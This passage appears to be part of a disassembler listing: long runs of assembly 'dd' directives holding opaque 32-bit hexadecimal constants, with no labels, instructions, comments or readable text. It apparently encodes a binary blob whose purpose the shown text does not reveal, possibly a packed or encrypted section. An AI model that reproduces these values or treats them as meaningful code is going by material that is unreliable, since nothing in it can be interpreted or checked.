0B8BACA46h, 0AC00A4B6h dd 0E0FFC503h, 2EF7B3h, 1484F665h, 0B68FD478h, 67527C00h dd 20CF6C64h dd 0B43D0FBBh, 366076F2h, 990D2AE3h, 1A948200h, 628F4F2Bh dd 0CCE7003Dh, 0E032E26Dh, 0B958263Ah, 5DB60035h, 0E17A6515h dd 0E94A0294h, 2612A28Eh, 36DF340h, 1A71E801h, 240FD3B1h dd 806654DEh, 0CFE12627h, 98E036CDh, 6AA8FF1Eh, 6450EB40h dd 5EE8A70h, 8B0F565Eh, 0CB932006h, 6B1D7711h, 0C6C6594Eh dd 2D1A659Ch, 239087B1h, 58003AB3h, 0F31BBF52h, 0A05953F8h dd 4A0F30A7h, 8B8E888Fh, 5A7BFB7Dh, 46C5B74Bh, 6F99E781h dd 0F2FF2D8h, 6677017Ch, 0A8BBE1A5h, 88EE0074h, 0CB8074C3h dd 3764C1E7h, 9223D339h, 90FE065Ah, 0BB3CE882h, 82CABE07h dd 2AF7CF22h, 0DEB9E7E1h, 37F15482h, 0E063832Bh, 37000B93h dd 0F0E75F6Fh, 33D706Eh, 5D372EA9h, 210012E9h, 9B02BB30h dd 0C0578h, 161AAE15h, 19A7BD84h, 0D27C1807h, 19485Bh dd 2E238D75h, 4EF8EC1Bh, 0F66814Ch, 4F01CB85h, 0DD0EB966h dd 138120E9h, 7FF3C99Ch, 61F02F8Ch, 2820B12h, 6DFEE969h dd 1A085D80h, 364F360h, 772D9CF5h, 0E9C870FBh, 451C96CCh dd 6E80735Fh, 0A4BEB4E1h, 1F7D7A65h, 837CE0C5h, 0E69A5CCEh dd 15730802h, 0E033DCCFh, 0CE79E33Fh, 8C831921h, 11014D47h dd 6D99A1F3h, 1C4077FEh, 6098A2BFh, 94DF11DBh, 0FA206490h dd 685F02C6h, 0BA963D8Ch, 4C9D4E20h, 674B2070h, 31C6CE02h dd 1160E7B9h, 7C489071h, 4E1AC022h, 20C070DDh, 0C73BF050h dd 0E66C4447h, 88EFFA00h, 0E77E797Ch, 8DB677Dh, 5C68404Dh dd 18304A74h, 216F2078h, 0CBFA34BCh, 74298031h, 4500B12Fh dd 0B3AAABF1h, 0A89C8DBh, 0B95ECD5Dh, 4BF200A0h, 0CC784883h dd 0F678A2F8h, 10571631h, 8980D847h, 0D06D1020h, 6000FE0Ah dd 680815C3h, 781625CAh, 0EC03006Ah, 17305C6Bh, 61EC16Ch dd 2B0084B6h, 0DCD610Fh, 0C6563ABAh, 0C4915F07h, 0AD62101Ch dd 0CF000B2Ch, 831118B5h, 3F1A1EC7h, 980D165h, 160ECE6Ch dd 7152CA5Eh, 0FFA08738h, 948E5D87h, 0C7A7A818h, 80BF5A08h dd 3E5C6C1Ch, 0D067E700h, 0ACCF1422h, 6A1000FFh, 7E5F23A7h dd 1C7402CEh, 2DB33Ch, 0EB18D48Bh, 0A071AA87h, 0E57BB068h dd 0D55F0BE0h, 4471C39h, 97F4E7C4h, 35FC505Ch, 0C8A86626h dd 7600DB25h, 0FAE4ACCCh, 9079059Eh, 70C43000h, 4A72DC30h dd 1803FD30h, 19747768h, 1104092Ah, 4374205Fh, 5812E200h dd 602362C8h, 5D2CA01Ch, 0BAEE24EDh, 1A0C2300h, 0C38888Dh dd 30C1C8E6h, 0B7E2483Ch, 605059A8h, 0EB7E790Ch, 2567CFFCh dd 2039AF40h, 0ED5C4ED8h, 1559C289h, 78A1EBCBh, 426068AFh dd 0FB1DF858h, 0D5F23B84h, 0E25F91Dh, 911A4AB0h, 62CD700Eh dd 68129E73h, 0D4E9CC41h, 2880BE7Eh, 0F8AB09FCh, 0E028117Ch dd 389A0CB4h, 13F86644h, 6BF042h, 222051B8h, 213AC9F6h dd 0CE0CD0FFh, 74496D78h, 33F404FCh, 0B0C0633Eh, 50BBEE1h dd 0FCB06048h, 5C0C0113h, 34C1FB64h, 0FA304914h, 3CF0B190h dd 7EE72977h, 11BBD164h, 0F0301220h, 48CAA29h, 82439BCh dd 174241B8h, 0CD80C8D0h, 19AB61F2h, 4C437B19h, 0E0A223F8h dd 5C417062h, 0B872081Eh, 0D504A9F7h, 62CBE0F8h, 0DC22C0C5h dd 14738CB1h, 0FE01E46Ah, 0FAF8BF09h, 9869B208h, 901113BBh dd 1916DC8Fh, 60F8435Eh, 5126353Ch, 8821B8C6h, 7B17AC82h dd 0DEBCCB68h, 987E5859h, 40629442h, 0E0A26DEEh, 0C4C6AB4h dd 0B97412EBh, 99A39F80h, 75080A0Ch, 3C1205E0h, 0A1048A6Fh dd 884CE660h, 10E0D67Eh, 5521F484h, 0BC12CD04h, 40200456h dd 1A510273h, 45284C8Dh, 34800A6Bh, 0C619931h, 8C4077D6h dd 4CFFBEBFh, 21FB0C47h, 0A88452BFh, 25C26252h, 18073D5h dd 750C9946h, 94AC695Ch, 1623FF9Ch, 2ABA43D4h, 0A0AF8CCFh dd 69B17D90h, 6C1420B3h, 0FDFD2588h, 96748815h, 5061846Ah dd 8F25BBF8h, 631CC981h, 5194BDFBh, 81DBA80Dh, 8A759AE1h dd 0D84C3879h, 49BE304Ah, 4C22B458h, 0F82C6711h, 768D058Ah dd 0F0FD0946h, 4763624Ch, 0E019AE10h, 90C54359h, 53F23E78h dd 0C9415244h, 2035DC42h, 0A27AFD22h, 670D18C0h, 4D17243h dd 4ACD5C3Eh, 0A7018B5h, 9C048278h, 813C518Dh, 0C91DC0AAh dd 1CE8451Eh, 6311903Ch, 51E536E7h, 8BC13CD8h, 1EB361F2h dd 41EA10h, 73035449h, 10C178Ah, 5F3CA188h, 0F043B872h dd 2A3EA77Ah, 71A01409h, 18B13114h, 2471BA3Eh, 261819DCh dd 0E2A8B485h, 0EC81760Eh, 0C5CF71h, 3FACB7EBh, 1709F42Eh dd 58077B63h, 65FB12FAh, 0DC430441h, 109253DAh, 0B4728C03h dd 0B4D022FEh, 6A536CD7h, 9C14AAAFh, 56EB2320h, 3808C02Ch dd 6EE70982h, 18DE2C23h, 96A217A8h, 12ECC200h, 0C1866553h dd 0D752093Ch, 6001B1E8h, 347C99AEh, 7800BF18h, 7AF62821h dd 66DE7F80h, 21C9088Ah, 2104BD7Bh, 55F54759h, 9100B4E3h dd 808C10C4h, 0F4001C28h, 0DB4DDDE0h, 2931A33h, 0A0DF6D0Fh dd 6C409FF0h, 0D4A0B1D2h, 0E90CFFF4h, 1091DBFCh, 66443170h dd 40F96DC1h, 0ADE8DF4Ch, 0A22F7202h, 85C9D513h, 0CC1823B8h dd 58CAF68Ch, 7C098C80h, 14A07F44h, 0BD0A0153h, 0AAEBF803h dd 30BBF260h, 3D216808h, 3C000A09h, 521513E7h, 0B09683B4h dd 6088C848h, 66E6C280h, 0C02C067h, 7846EDD8h, 0B700D041h dd 5BA842C1h, 902E7D7Ch, 0DF7551h, 0A9EFB2DBh, 0FA6168BFh dd 72B82A14h, 5C567894h, 25B2B054h, 28480113h, 0C9128623h dd 0B5E0427Eh, 8216D30h, 8352F613h, 0B841C764h, 0C0F72175h dd 0F0005EBAh, 67B61519h, 9857417h, 2C426261h, 5ABB94E0h dd 8893CD3Fh, 84C622EEh, 0C0C56A33h, 0ED4E724h, 1BAFCF40h dd 905F7B47h, 217760B4h, 82F61029h, 9EC8C880h, 7C21809Eh dd 634F946Eh, 46D52816h, 0D6C6490h, 61E81E8Fh, 182F0F2Bh dd 0C09C808Ah, 0F8B90A05h, 91AB0B21h, 0D310069h, 731DFB0Ah dd 0D74200A8h, 1BBC7D43h, 840305DEh, 0B7706367h, 0CE4B9831h dd 8B54B46Fh, 9810E70Ah, 3C3C167Ch, 0DB058374h, 303DDFCAh dd 0A3217608h, 0A1003C2Ch, 65787CF3h, 28078192h, 964447Fh dd 5A3A85F4h, 0BC6F7080h, 1B0F2510h, 0D0B0F7h, 0AA7BF8B7h dd 31626044h, 9AB5B2F2h, 421D39E6h, 8AC0C3E2h, 0A99547BAh dd 0DC120410h, 0C75BC643h, 0E3A86344h, 9417482Ch, 97A71D02h dd 0C0B0D2CBh, 0A3E96CC9h, 120E75AFh, 0E14206E5h, 56497B5Dh dd 4E15ECBAh, 6E60A0F9h, 735F1F3h, 1124209h, 19B802D1h dd 2060407Ch, 61CA6097h, 4BEB9AEh, 50BB4833h, 0B659304Fh dd 0BEB19121h, 2F4CC500h, 0EA41F64Ah, 0CD5E35DCh, 0E190050h dd 0C6981373h, 0CAD96891h, 3E061018h, 0D3A8FA48h, 151B00A8h dd 98DA29Ah, 14B6DF79h, 0AB3D9106h, 72246C0h, 4806BEB7h dd 0AF8F70E8h, 4B07BE00h, 41A8E0ECh, 8819541Ah, 0BD4217E6h dd 47080F0Ah, 0D87B9986h, 0D2286400h, 0BE0D21AFh, 729128Fh dd 96900948h, 8020C048h, 0CF45A00h, 83622A2Ch, 19F800F0h dd 0EE4A5150h, 88902FCDh, 0F36C090Ch, 14F4F179h, 0FC72521Bh dd 0FA629C05h, 0D7F042BCh, 0D8805B0Eh, 3B292259h, 44E64Ch dd 0FF62CE0Dh, 17B4E797h, 4065B032h, 38F0C25Ch, 76480FCDh dd 167FB018h, 4BC000B3h, 1BAF2965h, 1092F884h, 6B1830B9h dd 880876h, 286AD882h, 0F471E964h, 9492E6EEh, 2F1DB475h dd 21836169h, 40506A8Ah, 7BDCF880h, 0D0436713h, 10668B44h dd 0AF221C00h, 1A11A80h dd 64882484h, 0E02587C7h, 528B0D6h, 69C0E977h, 1F41BB1h dd 5FE639B6h, 0CF497031h, 99F7E451h, 1A642900h, 0A0FC6197h dd 26163DBCh, 0F4558F07h, 1E708AFEh, 0B6DE001Dh, 0E9E12862h dd 24BED417h, 3B16801Fh, 3B0FA1Ah, 0D8192EA0h, 60E6AEE0h dd 0C3447163h, 7503DE66h, 0E2BE1D23h, 29D90071h, 2AB27F05h dd 0B90106F4h, 1BC84C27h, 2820C1E9h, 482F0674h, 10CEA0EAh dd 304C334Ch, 0B4E95982h, 7E0A9D6h, 0C3D02888h, 616E9A09h dd 0A0E29660h, 0E464DFA0h, 0C4E6007Ch, 766BFCF6h, 0F23DEFE8h dd 4287039Dh, 2ADC8EAh, 0D7093840h, 0E06729BCh, 6C60C544h dd 0DC00FD61h, 5FBB35B1h, 0B9A256EEh, 0E6A140DCh, 0E096584Ah dd 0CF826601h, 1474E1DAh, 2F5D024Fh, 7BE8BDD4h, 2A102CD2h dd 470A8430h, 4F9498E2h, 1858A48Fh, 5B26AB15h, 0CC16D0BEh dd 0E8DCDF16h, 51636044h, 5B67AA2Eh, 6831EF24h, 0BE288A07h dd 5491D980h, 1CA87ADEh, 2C17904Eh, 0F11F38h, 0BE03B2C6h dd 0C4A865E7h, 0B907F022h, 71214BEFh, 819B0BF7h, 0F6E99C44h dd 18FA80E0h, 0A05FCFF2h, 0FC25E76Eh, 0F46481AAh, 6471BDF9h dd 0B08A1DE0h, 4C710A8h, 26FC1578h, 0D027169Ch, 59127C90h dd 9C74805Eh, 30C86969h, 10BEBB60h, 0E0CB4802h, 0BEB38Bh dd 0F6401954h, 631E4230h, 21CCF730h, 96C0F3B1h, 1FF8014Ch dd 0E6D11A42h, 0D340B871h, 4913FC78h, 5C12D85Eh, 0B1E2000Fh dd 6C171FE6h, 0E4457F5Eh, 18C8AD02h, 5DC6406Dh, 7704AF01h dd 9E5EB4E1h, 5A5F2089h, 3D0C9405h, 19D9F920h, 30EAD031h dd 72793C28h, 78221546h, 3C2EA103h, 80B609BBh, 3AB479E9h dd 8A811D50h, 992F4219h, 90682471h, 4EE18807h, 0ECC00B0Dh dd 2DF2E9Fh, 0E816A94Ch, 785497B1h, 0E007548Fh, 0DF269895h dd 0E29600A8h, 889AF97Bh, 0C801CD3Ah, 7FFF78F4h, 0C6FD2957h dd 97794210h, 9C5BAC03h, 896DFEF8h, 81827BE6h, 0AB831219h dd 177E50E0h, 0D081C0DEh, 0C9610E35h, 0F4389032h, 0C80049C8h dd 0BEFB8D11h, 987ADF97h, 806DC1Ch, 0CAD1740h, 0B4A4B0h dd 6F208EF0h, 0E6C57C33h, 0FA0FB091h, 1A09E22h, 4D341E4Fh dd 0D4F37F11h, 985BAF94h, 96C9D840h, 78E957Dh, 9E694AC4h dd 7BE46018h, 90910BDh, 0C0CE1B76h, 497E150h, 0DCFA497Dh dd 392480C6h, 68F041B5h, 0F210DD60h, 5031B65h, 0E3BE6073h dd 4A48026Bh, 0E7046DF0h, 0C77CC8h, 6BA83219h, 19B84EDh dd 0C575090Ah, 304364E5h, 3E397969h, 0E0006072h, 44F98764h dd 0D53C4B67h, 75D803F1h, 81F7F049h, 10E8CB6Fh, 87B3016Bh dd 44AD147Dh, 0F4B6E00Fh, 0E73120Fh, 9C57008Ah, 155A10F6h dd 14764B99h, 0A06C8CFh, 2003074h, 1342BF70h, 0F4CA57h dd 0F19C1475h, 4ACB5F06h, 0DC6D1200h, 0B26B46D9h, 6DD9047h dd 5B0CF5F0h, 0B6E818FDh, 70FF4A0Eh, 6902E7B0h, 289D804Dh dd 875C03F2h, 0ADA0034Dh, 5B610145h, 0B7571178h, 449A3186h dd 75E05903h, 150CBE53h, 84D90Fh, 0CB6D0DF6h, 75A05EEh dd 6B1145BFh, 5606D19Ah, 0F29800Eh, 57BDB8D6h, 186F784Fh dd 186BD510h, 0CA0FAED9h, 0D46E890Bh, 0D3690018h, 53283570h dd 0F240EA2Eh, 8BD20332h, 61F75955h, 0DB446FD9h, 294C5AC8h dd 2BF0AC06h, 1852C4h, 0D0A4D95Eh, 2A375804h, 53D41018h dd 6982EB9h, 0CA670B0Ch, 44007003h, 347D9A8Eh, 0C0723BABh dd 86F61298h, 0F97A2A0Eh, 65EE2C40h, 88FA1DFh, 59865318h dd 0D8682837h, 27F169E0h, 70E831C2h, 8CFA8F92h, 78F059F4h dd 564A884Ch, 363C7990h, 0F64055D7h, 8C47DD05h, 6642CDC9h dd 362C83CAh, 71811892h, 108C796Ah, 11462CA1h, 0F3600492h dd 95530C13h, 48200D2Ah, 0C0AF4205h, 0D008294Eh, 316AC4AEh dd 6C182917h, 24C0AB0Ch, 61F1305Ah, 1C2CB901h, 0F26980CDh dd 6D0473A4h, 0C80F664Fh, 0C0F9952h, 8E45D8A9h, 96F19829h dd 649C19E7h, 61373003h, 56189596h, 3FC8144Ch, 0CD844058h dd 12681144h, 0C1654D3h, 0B2B97418h, 2F57D218h, 62CA7131h dd 0A2721846h, 51AC4C85h, 4E3AE858h, 0EF129240h, 2818FF48h dd 0A087539h, 9D430491h, 0BC688A4h, 74604956h, 8021B8B6h dd 23976434h, 7A2BE426h, 2A9C2386h, 13ED5032h, 0E2882B9Ch dd 106A7644h, 0FCA2EDA4h, 841A9E11h, 0F628ECC0h, 0A1C64684h dd 110ADAB8h, 0EE10C148h, 4290FC47h, 425B882Ch, 881F4816h dd 0D0511E48h, 9F3E7842h, 14CC0828h, 640CEEC2h, 86C915Ch dd 0F5936CD5h, 0A4F46023h, 0EAE0807h, 0E5EA2198h, 61393436h dd 8C484C40h, 0BC607022h, 0E5D37509h, 905F6481h, 28245C54h dd 8E8F2F40h, 51B1C89Bh, 7AC4E8Fh, 86C969AAh, 29102DA8h dd 0A13838ABh, 31EE9058h, 0B9E7951h, 5336E18Ah, 0E6AC03Ch dd 6860D51Fh, 94DB4A11h, 72A0A404h, 9364998Ch, 424824B0h dd 0A1B2F880h, 1914A090h, 12CD6712h, 4BC0F831h, 0EA277D02h dd 263633h, 0EE3D8D11h, 3A8FFC7Ch, 841D4F00h, 985C68C7h dd 0C46D0019h, 0FFA4E562h, 0E7E22880h, 8E08F40Ch, 4460DEh dd 0DA90E431h, 0F622F201h, 7F4831Dh, 0E9E5E00h, 60AD1C95h dd 1676804Ch, 79C02437h, 0C5417F5Ch, 5BE80075h, 0CE0D88A9h dd 4A008E1Eh, 0AD235813h, 3E662F6h, 0FAA2EFBFh, 0BEE03717h dd 0D601D5F3h, 0F572B943h, 68341904h, 0ED0D0FF4h, 14013DAAh dd 82303CBCh, 0A2B2D519h, 0FE7CE074h, 0B871004Ah, 0B15C9C58h dd 0B42E6111h, 6809BF0Bh, 0C84C01DCh, 0A5D4D733h, 0A01E4C7Fh dd 2D10D600h, 0F3614037h, 51B8EF52h, 1D64534h, 43CCEC34h dd 36308C2Eh, 0F6BE934h, 0E0917ADBh, 3E4E540h, 683B333Bh dd 0AE718040h, 0F19E09F6h, 4521311Ch, 506C8CB0h, 0C23633F8h dd 0B8A40200h, 71CFE93Fh, 0EC407A7h, 2988DA12h, 0E14E007Dh dd 1D9954F9h, 56E2AFh, 0C855E4ECh, 0C4770AE5h, 0C604BA00h dd 5452F08Bh, 1DE10389h, 11D78408h, 0FAE2D6C0h, 0AF83BF0Eh dd 288A8C1Bh, 0E310C3BEh, 0FE082D9h, 0DD1F8DC3h, 0DE0008FBh dd 0F0D6C41Dh, 0F897F009h, 8E543CE3h, 881EE03Ch, 84C100E1h dd 0F81AE5ECh, 0F7B8CD65h, 0EB046Bh, 0C3E0FA9Bh, 5DFDD95h dd 1F47821Ah, 781828A8h, 0E1115867h, 0A025D5E0h, 0FB1400F1h dd 9F739B22h, 9C3041A9h, 0FE3A1856h, 0D2BD0004h, 0D726A87Bh dd 40C3A67Eh, 0E8598BC4h, 0A4A15Ah, 717880CAh, 0EDEB4125h dd 0AAC6D307h, 87E98FC4h, 90ECC9C3h, 3D730099h, 0ADD7E727h dd 6D00C5F3h, 7E543083h, 9D3F11Bh, 0DCFABF3Eh, 23F74B80h dd 18DE0C26h, 9D2003Bh, 7EF8A15Ch, 521330C5h, 0F9CF8D81h dd 0D8F62830h, 3CD7F4DDh, 0D53ABE72h, 2C8D7860h, 3A1526A9h dd 17CE2ABh, 872FB04h, 31EDD2Ah, 0FD77B63Ch, 71E7C7D4h dd 0F19F06EFh, 288EEE68h, 31B04B7Fh, 5430FFFEh, 0ABF895B3h dd 0AE3A1CBCh, 40B83D4Ch, 0DCE22079h, 3B80CC01h, 0A1E5D471h dd 0AB7285E0h, 3147A1D4h, 114F8C5Ch, 0E3E8ECF9h, 92801D0Fh dd 9BFD6C9h, 103F08h, 0B3034E9Fh, 78B46EBAh, 3C1901A5h dd 0D7485833h, 0E803E1A2h, 7E65CC66h, 480A7D89h, 0C912B0A9h dd 45312C72h, 83A17964h, 3E084359h, 0EE13E0BDh, 391B87Ah dd 785F9F6h, 55A8D7A4h, 0E003DED6h, 11E18FD9h, 0A5F1C3DBh dd 0B096788Ch, 89551650h, 3541FDDh, 0A3783DAFh, 92D9E4A0h dd 0BA24F002h, 985DB7EAh, 1B11444h, 516968DAh, 4C6A3783h dd 723E9E04h, 0C6B299Dh dd 10A08A0h, 20D793BEh, 0C2987315h, 19F66205h, 18F3F16Fh dd 4D10CA27h, 0E48974A0h, 0C11194B1h, 8F3CA38h, 7048BD64h dd 302B959Eh, 7A62542h, 51104A49h, 29CB132Fh, 0A3107F11h dd 0B7203E08h, 91B17080h, 364188A1h, 2ED1F89Ch, 0C33C01B1h dd 1022073Ch, 5508070h, 0A113F264h, 0F513F6E4h, 44F40922h dd 0F189F2F3h, 0EF24F012h, 0ED91EE48h, 0EB44EC22h, 12E989EAh dd 48E724E8h, 22E591E6h, 0E37CE4h, 1A66F59h, 0E7A07304h dd 70C13E63h, 7EB829A4h, 2EF06584h, 0CFBBB104h, 0E0690843h dd 73BEDF6h, 721AF7A0h, 5ACFD3A6h, 70D166E0h, 0B2008C77h dd 0DCF6A171h, 1DFD4E3Bh, 1D26724Ah, 1E1E1E52h, 8040343Ah dd 9762A6FEh, 86A75C00h, 0CF2F70CCh, 9DCF8D2h, 1E0CEF5h dd 0E87F484Dh, 59F57F04h, 14302EA3h, 3EA47829h, 9EA50EFAh dd 4DE38863h, 0A8380842h, 84C308EBh, 208102FFh, 21018351h dd 94509BCh, 0FA040B38h, 40FEA0AEh, 8B5000DCh, 72D2849Fh dd 0CC617304h, 0A8BDC521h, 94B0384Ah, 2F039236h, 0F55233E7h dd 7EE2E1BCh, 685A1880h, 70BB7824h, 0F23AEDFDh, 0CE3C1C87h dd 30A1D8C0h, 0A3525315h, 53462F28h, 0B2C883E4h, 411E3113h dd 30F31078h, 3205E066h, 9EB50077h, 0FBB4191Fh, 0A803A706h dd 0A3DA1DDFh, 88C6C00Eh, 0EC3FAECh, 65730C84h, 5411F080h dd 1D00FE99h, 0FD48056h, 1CFB5C3h, 0E19D530Eh, 0D09975EEh dd 9333BFECh, 0A7B080F0h, 0E39D7AC0h, 405261F9h, 0F0825509h dd 883E5FE5h, 40A8AAF5h, 521EE0F8h, 6700EE95h, 0DC1E11F6h dd 0A6E37891h, 65720230h, 0C3DFDA8Ah, 9D601C98h, 1CFDD44h dd 0E388D83Eh, 4C8AD9E0h, 0ECA5F660h, 897EDC51h, 9DC4CCA4h dd 834FEE0Ah, 0F6CB18CFh, 0A57E60A4h, 8512192Dh, 302CE044h dd 1DE11D88h, 1FDE00C7h, 16E9F695h, 0DA9C1A14h, 15CFC038h dd 1EBC8CCh, 0F187DB1Bh, 5D9ADC11h, 0A7401C14h, 24EB9B00h dd 0E3DBAFCBh, 2A9574C6h, 2F8D916h, 2D4783DAh, 9C65F693h dd 2A004E5Dh, 610A275h, 0EFAF4E9h, 0E100D2F8h, 0DE855516h dd 9889C3EEh, 92CB3E34h, 1E74004Dh, 3D1CCDFh, 0EB850372h dd 0E29880C4h, 0C00151E3h, 84C415A3h, 4030ECD4h, 281660DEh dd 9A545CCFh, 502033F1h, 1E3AEB6Ch, 0EC90F756h, 0E3488378h dd 0A1C3C174h, 90935423h, 0BA04EC72h, 0B34894BCh, 87DA0030h dd 867252E3h, 0AC114AF3h, 5840B598h, 0BFE0F2D6h, 954B080h dd 0E6FED81Ah, 1DDED081h, 11DBE01Ch, 0AF91DD04h, 0C0C353EEh dd 0EC8EA152h, 3A7F08E0h, 903CEDDAh, 7B8C48h, 89C410BAh dd 83BFE4D4h, 0C72670B0h, 102FC82h, 40E1AF85h, 3CF9D8A0h dd 0ED188354h, 0BF1B60C0h, 58D4AC90h, 0C3E512B4h, 40D819ABh dd 81D9ECAFh, 0C8DE10E8h, 5A95783Eh, 0DA842FD4h, 0A03194F1h dd 0B32ADFD4h, 28F5EFD0h, 863CD8F8h, 890817F0h, 5124D430h dd 52F3167Eh, 9D6033C3h, 0D6987ADBh, 8538081Dh, 0D2B8C9E0h dd 0F8B03CAEh, 0DC1D1C98h, 0DD0054E3h, 0AF88C3E2h, 54F7C0Fh dd 82D9E4EFh, 0FF7C85D7h, 0CFC87071h, 0E8AF0C3Dh, 0F0A31694h dd 3DC4490Fh, 0B485AC09h, 8E49CC3h, 8B0C954Dh, 25B00FC5h dd 0DC8392D8h, 0D887A4C3h, 0EDB19347h, 0C4629955h, 8181C48h dd 0DA850997h, 0E4A5C4B0h, 55508318h, 0BC0B095h, 0EED6EA9Eh dd 0E3E72081h, 1D103053h, 0D9ED69C7h, 0A2E6F1F3h, 2920E483h dd 692CDFDAh, 0C39E3C0Fh, 0EC82551Dh, 4734C1ACh, 0AFF880E4h dd 0DF89D91Eh, 56CB8EDh, 0EABD24E1h, 801834FFh, 0CFB75150h dd 5DDF0CBEh, 9D9ACB01h, 846C7915h, 50EB029Eh, 9E1CCF92h dd 7818217Ch, 0C8B0DF9Fh, 0ED108202h, 0D1E388C3h, 7401F450h dd 53FAFE99h, 0D860F382h, 64FF5D88h, 0C3E6D402h, 40A5F08Fh dd 44F8E264h, 661D5250h, 6207F4A6h, 829BE184h, 5DFAE520h dd 7EC2F068h, 931F449Eh, 88D9F9C4h, 1D2D3CF2h, 14F6D410h dd 0B9541E00h, 84BFECDDh, 0DBE41EDAh, 72EE0091h, 0C7F9E19Dh dd 90B8947Ah, 19FFB707h, 2CC8B307h, 0C00A0650h, 9303218Dh dd 9D56EF47h, 87BF89EEh, 0F025503Dh, 2CFC8B0h, 0FF68D761h dd 0E070B164h, 0E080A1C7h, 3EB2344Bh, 0EEBAF8E3h, 34A150FBh dd 87DB177Ch, 1A90DCDEh, 0F388C614h, 0FD607F0h, 13405E03h dd 0E68756E1h, 8E501852h, 0AF321D4h, 0EC84540Eh, 0C8958A0Fh dd 32E8D625h, 0E0D99490h, 0C2797209h, 97381A80h, 0EF00EE10h dd 0FFE384C7h, 0F9F8C274h, 3007B094h, 3C42B577h, 1C4255h dd 0F9D781DCh, 1C20C0DCh, 11E18250h, 0D413C574h, 0B885DAE3h dd 50A8E0DCh, 0A364C4B6h, 8C42E580h, 51B50748h, 8DC180ECh dd 0A8081EDDh, 0DE88D8D8h, 0A1DCA3DFh, 0D0436452h, 0DB403CEEh dd 0F4C834Ah, 5104C1D4h, 11804277h, 579B0840h, 0B094BA28h dd 8F05454h, 1CDD8F05h, 0DCF3B6D9h, 19C41A28h, 0E99208E5h dd 92550284h, 0A3DC9858h, 0B06096F6h, 9B855630h, 0D423515Ah dd 0DCE29897h, 11EE298Dh, 6432A5F4h, 21EBF07Ah, 3E303820h dd 957101EFh, 9D53EEE1h, 0C07AE89Ah, 0C588F004h, 0B42FBF20h dd 0DAA480FAh, 4C7F541Ch, 9A0FDCECh, 9140FA02h, 3DE4C6CFh dd 3851E1Eh, 1BFE3400h, 0F7BD2CCh, 8CCB37C1h, 5A5736E3h dd 0B5C0511Eh, 0D481ADDEh, 0B8796325h, 75B76980h, 5792E12Ch dd 0FC7EC07h, 40AEC0ADh, 252A1AB0h, 43640041h, 0ECCDF1A0h dd 8D1E749Fh, 0D31D1771h, 0FDE55300h, 27363CFFh, 20403587h dd 290023D8h, 6AA15AB8h, 1C9CBC2Dh, 0C372D3F5h, 0EBEFE79Bh dd 20029DC3h, 776BE1F7h, 0F2209EA3h, 43008C7Fh, 0B339F810h dd 0E83A4D13h, 0FDF60CBEh, 7D9A47Ah, 2A8EA007h, 7DF3B21Fh dd 0C092526h, 0A6672040h, 9BB68E07h, 0C8C0B135h, 3D878D4h dd 6D8D73F3h, 0E001F0B8h, 0B650F552h, 0B047C7A7h, 1BE8340h dd 8C6B1674h, 3A4C20CAh, 0B74BF961h, 8D3DA4E8h, 1C4E9E14h dd 3E12BCC8h, 0D63ADC90h, 0B84D00CEh, 0EA23A87Bh, 7500C22Ah dd 420B2282h, 22E8C790h, 9E7DBE0Eh, 3900C6F8h, 0B7A9798Ch dd 7D8840EFh, 76DB06ECh, 98C83281h, 1A13D90Ah, 7415A0BCh dd 464BB868h, 3AE0A2B9h, 8802CC07h, 158E9B60h, 308A461Fh dd 0A96221B1h, 7274058Eh, 2EAC3947h, 48C7620h, 8841961Ah dd 565C8145h, 0D842458h, 8F07CE79h, 34A9B820h, 6F8DE76h dd 57A7A8F8h, 5101297Fh, 0D9E7336Fh, 0F0C5D264h, 21560998h dd 33077731h, 2EC6676Fh, 0D3B0331h, 4EB94420h, 0B8F0D071h dd 0E90977C4h, 15247BD4h, 0CCE310A4h, 14C46972h, 0E419148Bh dd 1781F802h, 1C997370h, 640F02EDh, 9298A11Ch, 0A1E0911Dh dd 0ED33C980h, 0EF8C54D9h, 33713B10h, 49693Bh, 97735F98h dd 67B127h, 0D56275C1h, 0EA28C5D1h, 42881D61h, 8183F038h dd 0AEE58D6Eh, 0E8C6C0C7h, 0D228456Bh, 6D0C08B5h, 380ABE3Dh dd 1EB3BFEh, 0E21404CDh, 0D0119459h, 0B5ED0121h, 0E8D7FEA7h dd 0B4233427h, 81E5408Ch, 5FEC12DCh, 729C0712h, 14B7C06Fh dd 11018F50h, 40FFF1EDh, 58503944h, 81A6EE45h, 0FF382028h dd 9E1F7A43h, 0A21F088Eh, 6540B0C4h, 0C6798EA4h, 0D7D2180Fh dd 0D9E400FCh, 0F98BD33h, 8C6CA15Ch, 3958E960h, 3C04E8D8h dd 0EDAF89D5h, 0E7D3C480h, 0B48280D4h, 0C88CFE4Dh, 0B3360169h dd 84B62710h, 9F8E55B1h, 4F111014h, 28DFE21Bh, 19607020h dd 24E71D8Ch, 0D56B4584h, 38C40054h, 0E4413DB3h, 93102560h dd 98CBA3FDh, 90740904h dd 3500624Ch, 0F83D1CEDh, 23CE970Ch, 0C6D8FDh, 8F143F8Eh dd 47D8EC65h, 814C911Fh, 4312AB5Eh, 22F61C30h, 80C924Ah dd 0A6CA1372h, 0C5BA893Eh, 0E458FAA2h, 88226795h, 4ED120E6h dd 1B016192h, 6C5F556Bh, 2060D3EFh, 0D9C060C1h, 0E23C437Eh dd 0BA0F69C4h, 90EF2490h, 17CA3F83h, 6DA6C300h, 7C7628B6h dd 37CD3901h, 97F46386h, 20EBB060h, 6B03D4F6h, 0F9239ACBh dd 0A0602699h, 0CD4F0A24h, 0F0BF0088h, 75377EFFh, 0E2988D51h dd 0CFD8689Bh, 0F4613F0Eh, 0AFE9D791h, 7E86DD8h, 1376A35Eh dd 21DB465Fh, 0DAF0BA0h, 8AF8DA60h, 0EE4232B9h, 0CE360CA5h dd 6E78C80Fh, 0C807153h, 41FD1F42h, 0B080E8FEh, 0D4791D2Ch dd 9A55094Eh, 0CBF7D024h, 0C069C87Ch, 30D86AD3h, 12C48A58h dd 8309528h, 6238E764h, 0BA783141h, 0E180DCA9h, 0DBB8627Dh dd 10256900h, 50285A14h, 0E397008Eh, 72D93A38h, 0D2540E75h dd 1600ADD0h, 17349BE5h, 3A4EF404h, 0AA33033Fh, 0E4801021h dd 0DF07D58Ch, 0CDDD291Ch, 0D7D83C50h, 0A4594933h, 888CE809h dd 36A818D5h, 0DA8728FEh, 793A1EE8h, 0BC1871B0h, 0B124CBC2h dd 17414C3Eh, 0C8C0DC29h, 0A98B19BBh, 1876A826h, 9CE50827h dd 0C1C40F34h, 0E401C05Eh, 1E6521ACh, 40497918h, 418BC689h dd 80A33AE2h, 3BD9F904h, 6C60933Dh, 211A12A9h, 0DB3FF48Ch dd 78A9672Eh, 